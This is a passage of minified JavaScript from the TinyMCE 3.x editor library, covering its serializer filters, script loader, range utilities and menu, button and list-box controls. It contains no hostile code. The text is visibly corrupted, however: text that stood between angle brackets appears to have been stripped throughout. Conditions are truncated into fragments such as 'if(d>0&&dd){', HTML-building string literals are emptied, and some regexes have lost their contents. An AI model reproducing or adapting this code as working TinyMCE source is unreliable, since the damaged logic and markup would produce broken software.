o=k.length,l,q,n="data-mce-"+j,p=e.url_converter,r=e.url_converter_scope,m;while(o--){l=k[o];q=l.attributes.map[n];if(q!==m){l.attr(j,q.length>0?q:null);l.attr(n,null)}else{q=l.attributes.map[j];if(j==="style"){q=i.serializeStyle(i.parseStyle(q),l.name)}else{if(p){q=p.call(r,q,j,l.name)}}l.attr(j,q.length>0?q:null)}}});c.addAttributeFilter("class",function(j,k){var l=j.length,m,n;while(l--){m=j[l];n=m.attr("class").replace(/\s*mce(Item\w+|Selected)\s*/g,"");m.attr("class",n.length>0?n:null)}});c.addAttributeFilter("data-mce-type",function(j,l,k){var m=j.length,n;while(m--){n=j[m];if(n.attributes.map["data-mce-type"]==="bookmark"&&!k.cleanup){n.remove()}}});c.addNodeFilter("script,style",function(k,l){var m=k.length,n,o;function j(p){return p.replace(/()/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*(()?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")}while(m--){n=k[m];o=n.firstChild?n.firstChild.value:"";if(l==="script"){n.attr("type",(n.attr("type")||"text/javascript").replace(/^mce\-/,""));if(o.length>0){n.firstChild.value="// "}}else{if(o.length>0){n.firstChild.value=""}}}});c.addNodeFilter("#comment",function(j,k){var l=j.length,m;while(l--){m=j[l];if(m.value.indexOf("[CDATA[")===0){m.name="#cdata";m.type=4;m.value=m.value.replace(/^\[CDATA\[|\]\]$/g,"")}else{if(m.value.indexOf("mce:protected ")===0){m.name="#text";m.type=3;m.raw=true;m.value=unescape(m.value).substr(14)}}}});c.addNodeFilter("xml:namespace,input",function(j,k){var l=j.length,m;while(l--){m=j[l];if(m.type===7){m.remove()}else{if(m.type===1){if(k==="input"&&!("type" in m.attributes.map)){m.attr("type","text")}}}}});if(e.fix_list_elements){c.addNodeFilter("ul,ol",function(k,l){var m=k.length,n,j;while(m--){n=k[m];j=n.parent;if(j.name==="ul"||j.name==="ol"){if(n.prev&&n.prev.name==="li"){n.prev.append(n)}}}})}c.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style",function(j,k){var l=j.length;while(l--){j[l].attr(k,null)}});return{schema:f,addNodeFilter:c.addNodeFilter,addAttributeFilter:c.addAttributeFilter,onPreProcess:h,onPostProcess:b,serialize:function(o,m){var l,p,k,j,n;if(d&&i.select("script,style,select,map").length>0){n=o.innerHTML;o=o.cloneNode(false);i.setHTML(o,n)}else{o=o.cloneNode(true)}l=o.ownerDocument.implementation;if(l.createHTMLDocument){p=l.createHTMLDocument("");g(o.nodeName=="BODY"?o.childNodes:[o],function(q){p.body.appendChild(p.importNode(q,true))});if(o.nodeName!="BODY"){o=p.body.firstChild}else{o=p.body}k=i.doc;i.doc=p}m=m||{};m.format=m.format||"html";if(!m.no_events){m.node=o;h.dispatch(self,m)}j=new a.html.Serializer(e,f);m.content=j.serialize(c.parse(m.getInner?o.innerHTML:a.trim(i.getOuterHTML(o),m),m));if(!m.cleanup){m.content=m.content.replace(/\uFEFF|\u200B/g,"")}if(!m.no_events){b.dispatch(self,m)}if(k){i.doc=k}m.node=null;return m.content},addRules:function(j){f.addValidElements(j)},setRules:function(j){f.setValidElements(j)}}}})(tinymce);(function(a){a.dom.ScriptLoader=function(h){var c=0,k=1,i=2,l={},j=[],f={},d=[],g=0,e;function b(m,v){var x=this,q=a.DOM,s,o,r,n;function p(){q.remove(n);if(s){s.onreadystatechange=s.onload=s=null}v()}function u(){if(typeof(console)!=="undefined"&&console.log){console.log("Failed to load: "+m)}}n=q.uniqueId();if(a.isIE6){o=new a.util.URI(m);r=location;if(o.host==r.hostname&&o.port==r.port&&(o.protocol+":")==r.protocol&&o.protocol.toLowerCase()!="file"){a.util.XHR.send({url:a._addVer(o.getURI()),success:function(y){var t=q.create("script",{type:"text/javascript"});t.text=y;document.getElementsByTagName("head")[0].appendChild(t);q.remove(t);p()},error:u});return}}s=q.create("script",{id:n,type:"text/javascript",src:a._addVer(m)});if(!a.isIE){s.onload=p}s.onerror=u;if(!a.isOpera){s.onreadystatechange=function(){var t=s.readyState;if(t=="complete"||t=="loaded"){p()}}}(document.getElementsByTagName("head")[0]||document.body).appendChild(s)}this.isDone=function(m){return l[m]==i};this.markDone=function(m){l[m]=i};this.add=this.load=function(m,q,n){var o,p=l[m];if(p==e){j.push(m);l[m]=c}if(q){if(!f[m]){f[m]=[]}f[m].push({func:q,scope:n||this})}};this.loadQueue=function(n,m){this.loadScripts(j,n,m)};this.loadScripts=function(m,q,p){var o;function n(r){a.each(f[r],function(s){s.func.call(s.scope)});f[r]=e}d.push({func:q,scope:p||this});o=function(){var r=a.grep(m);m.length=0;a.each(r,function(s){if(l[s]==i){n(s);return}if(l[s]!=k){l[s]=k;g++;b(s,function(){l[s]=i;g--;n(s);o()})}});if(!g){a.each(d,function(s){s.func.call(s.scope)});d.length=0}};o()}};a.ScriptLoader=new a.dom.ScriptLoader()})(tinymce);tinymce.dom.TreeWalker=function(a,c){var b=a;function d(i,f,e,j){var h,g;if(i){if(!j&&i[f]){return i[f]}if(i!=c){h=i[e];if(h){return h}for(g=i.parentNode;g&&g!=c;g=g.parentNode){h=g[e];if(h){return h}}}}}this.current=function(){return b};this.next=function(e){return(b=d(b,"firstChild","nextSibling",e))};this.prev=function(e){return(b=d(b,"lastChild","previousSibling",e))}};(function(a){a.dom.RangeUtils=function(c){var b="\uFEFF";this.walk=function(d,s){var i=d.startContainer,l=d.startOffset,t=d.endContainer,m=d.endOffset,j,g,o,h,r,q,e;e=c.select("td.mceSelected,th.mceSelected");if(e.length>0){a.each(e,function(u){s([u])});return}function f(u){var v;v=u[0];if(v.nodeType===3&&v===i&&l>=v.nodeValue.length){u.splice(0,1)}v=u[u.length-1];if(m===0&&u.length>0&&v===t&&v.nodeType===3){u.splice(u.length-1,1)}return u}function p(x,v,u){var y=[];for(;x&&x!=u;x=x[v]){y.push(x)}return y}function n(v,u){do{if(v.parentNode==u){return v}v=v.parentNode}while(v)}function k(x,v,y){var u=y?"nextSibling":"previousSibling";for(h=x,r=h.parentNode;h&&h!=v;h=r){r=h.parentNode;q=p(h==x?h:h[u],u);if(q.length){if(!y){q.reverse()}s(f(q))}}}if(i.nodeType==1&&i.hasChildNodes()){i=i.childNodes[l]}if(t.nodeType==1&&t.hasChildNodes()){t=t.childNodes[Math.min(m-1,t.childNodes.length-1)]}if(i==t){return s(f([i]))}j=c.findCommonAncestor(i,t);for(h=i;h;h=h.parentNode){if(h===t){return k(i,j,true)}if(h===j){break}}for(h=t;h;h=h.parentNode){if(h===i){return k(t,j)}if(h===j){break}}g=n(i,j)||i;o=n(t,j)||t;k(i,g,true);q=p(g==i?g:g.nextSibling,"nextSibling",o==t?o.nextSibling:o);if(q.length){s(f(q))}k(t,o)};this.split=function(e){var h=e.startContainer,d=e.startOffset,i=e.endContainer,g=e.endOffset;function f(j,k){return j.splitText(k)}if(h==i&&h.nodeType==3){if(d>0&&dd){g=g-d;h=i=f(i,g).previousSibling;g=i.nodeValue.length;d=0}else{g=0}}}else{if(h.nodeType==3&&d>0&&d0&&g=l.length){q=0}}s=l[q];f.setAttrib(g,"tabindex","-1");f.setAttrib(s.id,"tabindex","0");f.get(s.id).focus();if(e.actOnFocus){e.onAction(s.id)}if(r){a.cancel(r)}};o=function(y){var u=37,t=39,x=38,z=40,q=27,s=14,r=13,v=32;switch(y.keyCode){case u:if(i){p.moveFocus(-1)}break;case t:if(i){p.moveFocus(1)}break;case x:if(n){p.moveFocus(-1)}break;case z:if(n){p.moveFocus(1)}break;case q:if(e.onCancel){e.onCancel();a.cancel(y)}break;case s:case r:case v:if(e.onAction){e.onAction(g);a.cancel(y)}break}};c(l,function(s,q){var r;if(!s.id){s.id=f.uniqueId("_mce_item_")}if(k){f.bind(s.id,"blur",h);r="-1"}else{r=(q===0?"0":"-1")}f.setAttrib(s.id,"tabindex",r);f.bind(f.get(s.id),"focus",j)});if(l[0]){g=l[0].id}f.setAttrib(m,"tabindex","-1");f.bind(f.get(m),"focus",d);f.bind(f.get(m),"keydown",o)}})})(tinymce);(function(c){var b=c.DOM,a=c.is;c.create("tinymce.ui.Control",{Control:function(f,e,d){this.id=f;this.settings=e=e||{};this.rendered=false;this.onRender=new c.util.Dispatcher(this);this.classPrefix="";this.scope=e.scope||this;this.disabled=0;this.active=0;this.editor=d},setAriaProperty:function(f,e){var d=b.get(this.id+"_aria")||b.get(this.id);if(d){b.setAttrib(d,"aria-"+f,!!e)}},focus:function(){b.get(this.id).focus()},setDisabled:function(d){if(d!=this.disabled){this.setAriaProperty("disabled",d);this.setState("Disabled",d);this.setState("Enabled",!d);this.disabled=d}},isDisabled:function(){return this.disabled},setActive:function(d){if(d!=this.active){this.setState("Active",d);this.active=d;this.setAriaProperty("pressed",d)}},isActive:function(){return this.active},setState:function(f,d){var e=b.get(this.id);f=this.classPrefix+f;if(d){b.addClass(e,f)}else{b.removeClass(e,f)}},isRendered:function(){return this.rendered},renderHTML:function(){},renderTo:function(d){b.setHTML(d,this.renderHTML())},postRender:function(){var e=this,d;if(a(e.disabled)){d=e.disabled;e.disabled=-1;e.setDisabled(d)}if(a(e.active)){d=e.active;e.active=-1;e.setActive(d)}},remove:function(){b.remove(this.id);this.destroy()},destroy:function(){c.dom.Event.clear(this.id)}})})(tinymce);tinymce.create("tinymce.ui.Container:tinymce.ui.Control",{Container:function(c,b,a){this.parent(c,b,a);this.controls=[];this.lookup={}},add:function(a){this.lookup[a.id]=a;this.controls.push(a);return a},get:function(a){return this.lookup[a]}});tinymce.create("tinymce.ui.Separator:tinymce.ui.Control",{Separator:function(b,a){this.parent(b,a);this.classPrefix="mceSeparator";this.setDisabled(true)},renderHTML:function(){return tinymce.DOM.createHTML("span",{"class":this.classPrefix,role:"separator","aria-orientation":"vertical",tabindex:"-1"})}});(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.MenuItem:tinymce.ui.Control",{MenuItem:function(g,f){this.parent(g,f);this.classPrefix="mceMenuItem"},setSelected:function(f){this.setState("Selected",f);this.setAriaProperty("checked",!!f);this.selected=f},isSelected:function(){return this.selected},postRender:function(){var f=this;f.parent();if(c(f.selected)){f.setSelected(f.selected)}}})})(tinymce);(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.Menu:tinymce.ui.MenuItem",{Menu:function(h,g){var f=this;f.parent(h,g);f.items={};f.collapsed=false;f.menuCount=0;f.onAddItem=new d.util.Dispatcher(this)},expand:function(g){var f=this;if(g){a(f,function(h){if(h.expand){h.expand()}},"items",f)}f.collapsed=false},collapse:function(g){var f=this;if(g){a(f,function(h){if(h.collapse){h.collapse()}},"items",f)}f.collapsed=true},isCollapsed:function(){return this.collapsed},add:function(f){if(!f.settings){f=new d.ui.MenuItem(f.id||b.uniqueId(),f)}this.onAddItem.dispatch(this,f);return this.items[f.id]=f},addSeparator:function(){return this.add({separator:true})},addMenu:function(f){if(!f.collapse){f=this.createMenu(f)}this.menuCount++;return this.add(f)},hasMenus:function(){return this.menuCount!==0},remove:function(f){delete this.items[f.id]},removeAll:function(){var f=this;a(f,function(g){if(g.removeAll){g.removeAll()}else{g.remove()}g.destroy()},"items",f);f.items={}},createMenu:function(g){var f=new d.ui.Menu(g.id||b.uniqueId(),g);f.onAddItem.add(this.onAddItem.dispatch,this.onAddItem);return f}})})(tinymce);(function(e){var d=e.is,c=e.DOM,f=e.each,a=e.dom.Event,b=e.dom.Element;e.create("tinymce.ui.DropMenu:tinymce.ui.Menu",{DropMenu:function(h,g){g=g||{};g.container=g.container||c.doc.body;g.offset_x=g.offset_x||0;g.offset_y=g.offset_y||0;g.vp_offset_x=g.vp_offset_x||0;g.vp_offset_y=g.vp_offset_y||0;if(d(g.icons)&&!g.icons){g["class"]+=" mceNoIcons"}this.parent(h,g);this.onShowMenu=new e.util.Dispatcher(this);this.onHideMenu=new e.util.Dispatcher(this);this.classPrefix="mceMenu"},createMenu:function(j){var h=this,i=h.settings,g;j.container=j.container||i.container;j.parent=h;j.constrain=j.constrain||i.constrain;j["class"]=j["class"]||i["class"];j.vp_offset_x=j.vp_offset_x||i.vp_offset_x;j.vp_offset_y=j.vp_offset_y||i.vp_offset_y;j.keyboard_focus=i.keyboard_focus;g=new e.ui.DropMenu(j.id||c.uniqueId(),j);g.onAddItem.add(h.onAddItem.dispatch,h.onAddItem);return g},focus:function(){var g=this;if(g.keyboardNav){g.keyboardNav.focus()}},update:function(){var i=this,j=i.settings,g=c.get("menu_"+i.id+"_tbl"),l=c.get("menu_"+i.id+"_co"),h,k;h=j.max_width?Math.min(g.clientWidth,j.max_width):g.clientWidth;k=j.max_height?Math.min(g.clientHeight,j.max_height):g.clientHeight;if(!c.boxModel){i.element.setStyles({width:h+2,height:k+2})}else{i.element.setStyles({width:h,height:k})}if(j.max_width){c.setStyle(l,"width",h)}if(j.max_height){c.setStyle(l,"height",k);if(g.clientHeightv){p=r?r-u:Math.max(0,(v-A.vp_offset_x)-u)}if((n+A.vp_offset_y+l)>q){n=Math.max(0,(q-A.vp_offset_y)-l)}}c.setStyles(o,{left:p,top:n});z.element.update();z.isMenuVisible=1;z.mouseClickFunc=a.add(o,"click",function(s){var h;s=s.target;if(s&&(s=c.getParent(s,"tr"))&&!c.hasClass(s,m+"ItemSub")){h=z.items[s.id];if(h.isDisabled()){return}k=z;while(k){if(k.hideMenu){k.hideMenu()}k=k.settings.parent}if(h.settings.onclick){h.settings.onclick(s)}return a.cancel(s)}});if(z.hasMenus()){z.mouseOverFunc=a.add(o,"mouseover",function(x){var h,t,s;x=x.target;if(x&&(x=c.getParent(x,"tr"))){h=z.items[x.id];if(z.lastMenu){z.lastMenu.collapse(1)}if(h.isDisabled()){return}if(x&&c.hasClass(x,m+"ItemSub")){t=c.getRect(x);h.showMenu((t.x+t.w-i),t.y-i,t.x);z.lastMenu=h;c.addClass(c.get(h.id).firstChild,m+"ItemActive")}}})}a.add(o,"keydown",z._keyHandler,z);z.onShowMenu.dispatch(z);if(A.keyboard_focus){z._setupKeyboardNav()}},hideMenu:function(j){var g=this,i=c.get("menu_"+g.id),h;if(!g.isMenuVisible){return}if(g.keyboardNav){g.keyboardNav.destroy()}a.remove(i,"mouseover",g.mouseOverFunc);a.remove(i,"click",g.mouseClickFunc);a.remove(i,"keydown",g._keyHandler);c.hide(i);g.isMenuVisible=0;if(!j){g.collapse(1)}if(g.element){g.element.hide()}if(h=c.get(g.id)){c.removeClass(h.firstChild,g.classPrefix+"ItemActive")}g.onHideMenu.dispatch(g)},add:function(i){var g=this,h;i=g.parent(i);if(g.isRendered&&(h=c.get("menu_"+g.id))){g._add(c.select("tbody",h)[0],i)}return i},collapse:function(g){this.parent(g);this.hideMenu(1)},remove:function(g){c.remove(g.id);this.destroy();return this.parent(g)},destroy:function(){var g=this,h=c.get("menu_"+g.id);if(g.keyboardNav){g.keyboardNav.destroy()}a.remove(h,"mouseover",g.mouseOverFunc);a.remove(c.select("a",h),"focus",g.mouseOverFunc);a.remove(h,"click",g.mouseClickFunc);a.remove(h,"keydown",g._keyHandler);if(g.element){g.element.remove()}c.remove(h)},renderNode:function(){var i=this,j=i.settings,l,h,k,g;g=c.create("div",{role:"listbox",id:"menu_"+i.id,"class":j["class"],style:"position:absolute;left:0;top:0;z-index:200000;outline:0"});if(i.settings.parent){c.setAttrib(g,"aria-parent","menu_"+i.settings.parent.id)}k=c.add(g,"div",{role:"presentation",id:"menu_"+i.id+"_co","class":i.classPrefix+(j["class"]?" "+j["class"]:"")});i.element=new b("menu_"+i.id,{blocker:1,container:j.container});if(j.menu_line){c.add(k,"span",{"class":i.classPrefix+"Line"})}l=c.add(k,"table",{role:"presentation",id:"menu_"+i.id+"_tbl",border:0,cellPadding:0,cellSpacing:0});h=c.add(l,"tbody");f(i.items,function(m){i._add(h,m)});i.rendered=true;return g},_setupKeyboardNav:function(){var i,h,g=this;i=c.get("menu_"+g.id);h=c.select("a[role=option]","menu_"+g.id);h.splice(0,0,i);g.keyboardNav=new e.ui.KeyboardNavigation({root:"menu_"+g.id,items:h,onCancel:function(){g.hideMenu()},enableUpDown:true});i.focus()},_keyHandler:function(g){var h=this,i;switch(g.keyCode){case 37:if(h.settings.parent){h.hideMenu();h.settings.parent.focus();a.cancel(g)}break;case 39:if(h.mouseOverFunc){h.mouseOverFunc(g)}break}},_add:function(j,h){var i,q=h.settings,p,l,k,m=this.classPrefix,g;if(q.separator){l=c.add(j,"tr",{id:h.id,"class":m+"ItemSeparator"});c.add(l,"td",{"class":m+"ItemSeparator"});if(i=l.previousSibling){c.addClass(i,"mceLast")}return}i=l=c.add(j,"tr",{id:h.id,"class":m+"Item "+m+"ItemEnabled"});i=k=c.add(i,q.titleItem?"th":"td");i=p=c.add(i,"a",{id:h.id+"_aria",role:q.titleItem?"presentation":"option",href:"javascript:;",onclick:"return false;",onmousedown:"return false;"});if(q.parent){c.setAttrib(p,"aria-haspopup","true");c.setAttrib(p,"aria-owns","menu_"+h.id)}c.addClass(k,q["class"]);g=c.add(i,"span",{"class":"mceIcon"+(q.icon?" mce_"+q.icon:"")});if(q.icon_src){c.add(g,"img",{src:q.icon_src})}i=c.add(i,q.element||"span",{"class":"mceText",title:h.settings.title},h.settings.title);if(h.settings.style){c.setAttrib(i,"style",h.settings.style)}if(j.childNodes.length==1){c.addClass(l,"mceFirst")}if((i=l.previousSibling)&&c.hasClass(i,m+"ItemSeparator")){c.addClass(l,"mceFirst")}if(h.collapse){c.addClass(l,m+"ItemSub")}if(i=l.previousSibling){c.removeClass(i,"mceLast")}c.addClass(l,"mceLast")}})})(tinymce);(function(b){var a=b.DOM;b.create("tinymce.ui.Button:tinymce.ui.Control",{Button:function(e,d,c){this.parent(e,d,c);this.classPrefix="mceButton"},renderHTML:function(){var f=this.classPrefix,e=this.settings,d,c;c=a.encode(e.label||"");d='';if(e.image&&!(this.editor&&this.editor.forcedHighContrastMode)){d+=''+a.encode(e.title)+''+c}else{d+=''+(c?''+c+"":"")}d+='";d+="";return d},postRender:function(){var d=this,e=d.settings,c;if(b.isIE&&d.editor){b.dom.Event.add(d.id,"mousedown",function(f){var g=d.editor.selection.getNode().nodeName;c=g==="IMG"?d.editor.selection.getBookmark():null})}b.dom.Event.add(d.id,"click",function(f){if(!d.isDisabled()){if(b.isIE&&d.editor&&c!==null){d.editor.selection.moveToBookmark(c)}return e.onclick.call(e.scope,f)}});b.dom.Event.add(d.id,"keyup",function(f){if(!d.isDisabled()&&f.keyCode==b.VK.SPACEBAR){return e.onclick.call(e.scope,f)}})}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.ListBox:tinymce.ui.Control",{ListBox:function(i,h,f){var g=this;g.parent(i,h,f);g.items=[];g.onChange=new a(g);g.onPostRender=new a(g);g.onAdd=new a(g);g.onRenderMenu=new d.util.Dispatcher(this);g.classPrefix="mceListBox"},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&typeof(h)=="function"){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){var h=this,i,j,g;if(f!=h.selectedIndex){i=c.get(h.id+"_text");g=c.get(h.id+"_voiceDesc");j=h.items[f];if(j){h.selectedValue=j.value;h.selectedIndex=f;c.setHTML(i,c.encode(j.title));c.setHTML(g,h.settings.title+" - "+j.title);c.removeClass(i,"mceTitle");c.setAttrib(h.id,"aria-valuenow",j.title)}else{c.setHTML(i,c.encode(h.settings.title));c.setHTML(g,c.encode(h.settings.title));c.addClass(i,"mceTitle");h.selectedValue=h.selectedIndex=null;c.setAttrib(h.id,"aria-valuenow",h.settings.title)}i=0}},add:function(i,f,h){var g=this;h=h||{};h=d.extend(h,{title:i,value:f});g.items.push(h);g.onAdd.dispatch(g,h)},getLength:function(){return this.items.length},renderHTML:function(){var i="",f=this,g=f.settings,j=f.classPrefix;i='';i+="";i+="";i+="";return i},showMenu:function(){var g=this,i,h=c.get(this.id),f;if(g.isDisabled()||g.items.length==0){return}if(g.menu&&g.menu.isMenuVisible){return g.hideMenu()}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}i=c.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.keyboard_focus=!d.isOpera;if(g.oldID){f.items[g.oldID].setSelected(0)}e(g.items,function(j){if(j.value===g.selectedValue){f.items[j.id].setSelected(1);g.oldID=j.id}});f.showMenu(0,h.clientHeight);b.add(c.doc,"mousedown",g.hideMenu,g);c.addClass(g.id,g.classPrefix+"Selected")},hideMenu:function(g){var f=this;if(f.menu&&f.menu.isMenuVisible){c.removeClass(f.id,f.classPrefix+"Selected");if(g&&g.type=="mousedown"&&(g.target.id==f.id+"_text"||g.target.id==f.id+"_open")){return}if(!g||!c.getParent(g.target,".mceMenu")){c.removeClass(f.id,f.classPrefix+"Selected");b.remove(c.doc,"mousedown",f.hideMenu,f);f.menu.hideMenu()}}},renderMenu:function(){var g=this,f;f=g.settings.control_manager.createDropMenu(g.id+"_menu",{menu_line:1,"class":g.classPrefix+"Menu mceNoIcons",max_width:150,max_height:150});f.onHideMenu.add(function(){g.hideMenu();g.focus()});f.add({title:g.settings.title,"class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}});e(g.items,function(h){if(h.value===undefined){f.add({title:h.title,role:"option","class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}})}else{h.id=c.uniqueId();h.role="option";h.onclick=function(){if(g.settings.onselect(h.value)!==false){g.select(h.value)}};f.add(h)}});g.onRenderMenu.dispatch(g,f);g.menu=f},postRender:function(){var f=this,g=f.classPrefix;b.add(f.id,"click",f.showMenu,f);b.add(f.id,"keydown",function(h){if(h.keyCode==32){f.showMenu(h);b.cancel(h)}});b.add(f.id,"focus",function(){if(!f._focused){f.keyDownHandler=b.add(f.id,"keydown",function(h){if(h.keyCode==40){f.showMenu();b.cancel(h)}});f.keyPressHandler=b.add(f.id,"keypress",function(i){var h;if(i.keyCode==13){h=f.selectedValue;f.selectedValue=null;b.cancel(i);f.settings.onselect(h)}})}f._focused=1});b.add(f.id,"blur",function(){b.remove(f.id,"keydown",f.keyDownHandler);b.remove(f.id,"keypress",f.keyPressHandler);f._focused=0});if(d.isIE6||!c.boxModel){b.add(f.id,"mouseover",function(){if(!c.hasClass(f.id,g+"Disabled")){c.addClass(f.id,g+"Hover")}});b.add(f.id,"mouseout",function(){if(!c.hasClass(f.id,g+"Disabled")){c.removeClass(f.id,g+"Hover")}})}f.onPostRender.dispatch(f,c.get(f.id))},destroy:function(){this.parent();b.clear(this.id+"_text");b.clear(this.id+"_open")}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.NativeListBox:tinymce.ui.ListBox",{NativeListBox:function(g,f){this.parent(g,f);this.classPrefix="mceNativeListBox"},setDisabled:function(f){c.get(this.id).disabled=f;this.setAriaProperty("disabled",f)},isDisabled:function(){return c.get(this.id).disabled},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&typeof(h)=="function"){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){c.get(this.id).selectedIndex=f+1;this.selectedValue=this.items[f]?this.items[f].value:null},add:function(j,g,f){var i,h=this;f=f||{};f.value=g;if(h.isRendered()){c.add(c.get(this.id),"option",f,j)}i={title:j,value:g,attribs:f};h.items.push(i);h.onAdd.dispatch(h,i)},getLength:function(){return this.items.length},renderHTML:function(){var g,f=this;g=c.createHTML("option",{value:""},"-- "+f.settings.title+" --");e(f.items,function(h){g+=c.createHTML("option",{value:h.value},h.title)});g=c.createHTML("select",{id:f.id,"class":"mceNativeListBox","aria-labelledby":f.id+"_aria"},g);g+=c.createHTML("span",{id:f.id+"_aria",style:"display: none"},f.settings.title);return g},postRender:function(){var g=this,h,i=true;g.rendered=true;function f(k){var j=g.items[k.target.selectedIndex-1];if(j&&(j=j.value)){g.onChange.dispatch(g,j);if(g.settings.onselect){g.settings.onselect(j)}}}b.add(g.id,"change",f);b.add(g.id,"keydown",function(k){var j;b.remove(g.id,"change",h);i=false;j=b.add(g.id,"blur",function(){if(i){return}i=true;b.add(g.id,"change",f);b.remove(g.id,"blur",j)});if(d.isWebKit&&(k.keyCode==37||k.keyCode==39)){return b.prevent(k)}if(k.keyCode==13||k.keyCode==32){f(k);return b.cancel(k)}});g.onPostRender.dispatch(g,c.get(g.id))}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.MenuButton:tinymce.ui.Button",{MenuButton:function(g,f,e){this.parent(g,f,e);this.onRenderMenu=new c.util.Dispatcher(this);f.menu_container=f.menu_container||b.doc.body},showMenu:function(){var g=this,j,i,h=b.get(g.id),f;if(g.isDisabled()){return}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}if(g.isMenuVisible){return g.hideMenu()}j=b.getPos(g.settings.menu_container);i=b.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.vp_offset_x=i.x;f.settings.vp_offset_y=i.y;f.settings.keyboard_focus=g._focused;f.showMenu(0,h.clientHeight);a.add(b.doc,"mousedown",g.hideMenu,g);g.setState("Selected",1);g.isMenuVisible=1},renderMenu:function(){var f=this,e;e=f.settings.control_manager.createDropMenu(f.id+"_menu",{menu_line:1,"class":this.classPrefix+"Menu",icons:f.settings.icons});e.onHideMenu.add(function(){f.hideMenu();f.focus()});f.onRenderMenu.dispatch(f,e);f.menu=e},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&b.getParent(g.target,function(h){return h.id===f.id||h.id===f.id+"_open"})){return}if(!g||!b.getParent(g.target,".mceMenu")){f.setState("Selected",0);a.remove(b.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}f.isMenuVisible=0},postRender:function(){var e=this,f=e.settings;a.add(e.id,"click",function(){if(!e.isDisabled()){if(f.onclick){f.onclick(e.value)}e.showMenu()}})}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.SplitButton:tinymce.ui.MenuButton",{SplitButton:function(g,f,e){this.parent(g,f,e);this.classPrefix="mceSplitButton"},renderHTML:function(){var i,f=this,g=f.settings,e;i="";if(g.image){e=b.createHTML("img ",{src:g.image,role:"presentation","class":"mceAction "+g["class"]})}else{e=b.createHTML("span",{"class":"mceAction "+g["class"]},"")}e+=b.createHTML("span",{"class":"mceVoiceLabel mceIconOnly",id:f.id+"_voice",style:"display:none;"},g.title);i+=""+b.createHTML("a",{role:"button",id:f.id+"_action",tabindex:"-1",href:"javascript:;","class":"mceAction "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"";e=b.createHTML("span",{"class":"mceOpen "+g["class"]},'');i+=""+b.createHTML("a",{role:"button",id:f.id+"_open",tabindex:"-1",href:"javascript:;","class":"mceOpen "+g["class"],onclick:"return false;",onmousedown:"return false;",title:g.title},e)+"";i+="";i=b.createHTML("table",{role:"presentation","class":"mceSplitButton mceSplitButtonEnabled "+g["class"],cellpadding:"0",cellspacing:"0",title:g.title},i);return b.createHTML("div",{id:f.id,role:"button",tabindex:"0","aria-labelledby":f.id+"_voice","aria-haspopup":"true"},i)},postRender:function(){var e=this,g=e.settings,f;if(g.onclick){f=function(h){if(!e.isDisabled()){g.onclick(e.value);a.cancel(h)}};a.add(e.id+"_action","click",f);a.add(e.id,["click","keydown"],function(h){var k=32,m=14,i=13,j=38,l=40;if((h.keyCode===32||h.keyCode===13||h.keyCode===14)&&!h.altKey&&!h.ctrlKey&&!h.metaKey){f();a.cancel(h)}else{if(h.type==="click"||h.keyCode===l){e.showMenu();a.cancel(h)}}})}a.add(e.id+"_open","click",function(h){e.showMenu();a.cancel(h)});a.add([e.id,e.id+"_open"],"focus",function(){e._focused=1});a.add([e.id,e.id+"_open"],"blur",function(){e._focused=0});if(c.isIE6||!b.boxModel){a.add(e.id,"mouseover",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.addClass(e.id,"mceSplitButtonHover")}});a.add(e.id,"mouseout",function(){if(!b.hasClass(e.id,"mceSplitButtonDisabled")){b.removeClass(e.id,"mceSplitButtonHover")}})}},destroy:function(){this.parent();a.clear(this.id+"_action");a.clear(this.id+"_open");a.clear(this.id)}})})(tinymce);(function(d){var c=d.DOM,a=d.dom.Event,b=d.is,e=d.each;d.create("tinymce.ui.ColorSplitButton:tinymce.ui.SplitButton",{ColorSplitButton:function(i,h,f){var g=this;g.parent(i,h,f);g.settings=h=d.extend({colors:"000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,008000,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF",grid_width:8,default_color:"#888888"},g.settings);g.onShowMenu=new d.util.Dispatcher(g);g.onHideMenu=new d.util.Dispatcher(g);g.value=h.default_color},showMenu:function(){var f=this,g,j,i,h;if(f.isDisabled()){return}if(!f.isMenuRendered){f.renderMenu();f.isMenuRendered=true}if(f.isMenuVisible){return 